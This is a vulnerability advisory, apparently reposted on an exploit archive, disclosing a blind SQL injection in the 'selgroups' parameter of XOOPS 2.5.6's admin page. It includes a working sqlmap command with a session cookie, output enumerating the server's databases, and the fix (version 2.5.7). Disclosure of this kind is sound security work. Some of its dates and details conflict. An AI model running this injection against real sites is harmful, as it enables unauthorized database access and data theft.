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XOOPS 2.5.6 blind SQL Injection Vulnerability
[I. VULNERABILITY ------------------------- Blind SQL Injection in XOOPS <= 2.5.6 II. BACKGROUND ------------------------- XOOPS is an acronym of "eXtensible Object Oriented Portal System". Though started as a portal system, it later developed into a web application framework. It aims to serve as a web framework for use by small, medium and large sites, through the installation of modules. III. DESCRIPTION ------------------------- It is possible to inject SQL code in the variable "selgroups" on the page "admin.php". This bug was found using the portal with authentication. To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application. IV. PROOF OF CONCEPT ------------------------- The following URL's and parameters have been confirmed to all suffer from Blind SQL injection. /xoops/htdocs/modules/system/admin.php?fct=users&selgroups=1 Exploiting with SQLMap: python sqlmap.py -u " http://192.168.244.129/xoops/htdocs/modules/system/admin.php?fct=users&selgroups=1" --cookie="PHPSESSID=kjrjempn828cgrv6k8tjp4fs60;xoops_user=0" -p "selgroups" --technique=TB --dbs [INFO] POST parameter 'selgroups' is 'MySQL > 5.0.11 AND time-based blind (comment)' injectable [INFO] POST parameter 'selgroups' is 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 10.04 (Lucid Lynx) web application technology: PHP 5.3.2, Apache 2.2.14 back-end DBMS: MySQL 5 [INFO] fetching database names [INFO] fetching number of databases [INFO] resumed: 4 [INFO] resumed: information_schema [INFO] resumed: mysql [INFO] resumed: phpmyadmin [INFO] resumed: xoops available databases [4]: [*] information_schema [*] mysql [*] phpmyadmin [*] xoops V. BUSINESS IMPACT ------------------------- Public defacement, confidential data leakage, and database server compromise can result from these attacks. Client systems can also be targeted, and complete compromise of these client systems is also possible. VI. SYSTEMS AFFECTED ------------------------- XOOPS <= 2.5.6 VII. SOLUTION ------------------------- Update to version 2.5.7 VIII. REFERENCES ------------------------- http://xoops.org/ http://xoops.org/modules/news/article.php?storyid=6658 IX. CREDITS ------------------------- This vulnerability has been discovered and reported by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com). X. REVISION HISTORY ------------------------- January 21, 2014 1: Initial release XI. DISCLOSURE TIMELINE ------------------------- March 5, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas March 5, 2014 2: Send to vendor June 17, 2014 3: New version that includes patched code http://xoops.org/modules/news/article.php?storyid=6658 November 18, 2014 4: Sent to lists XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. XIII. ABOUT ------------------------- Manuel Garcia Cardenas Pentester # 0day.today [2024-12-24] #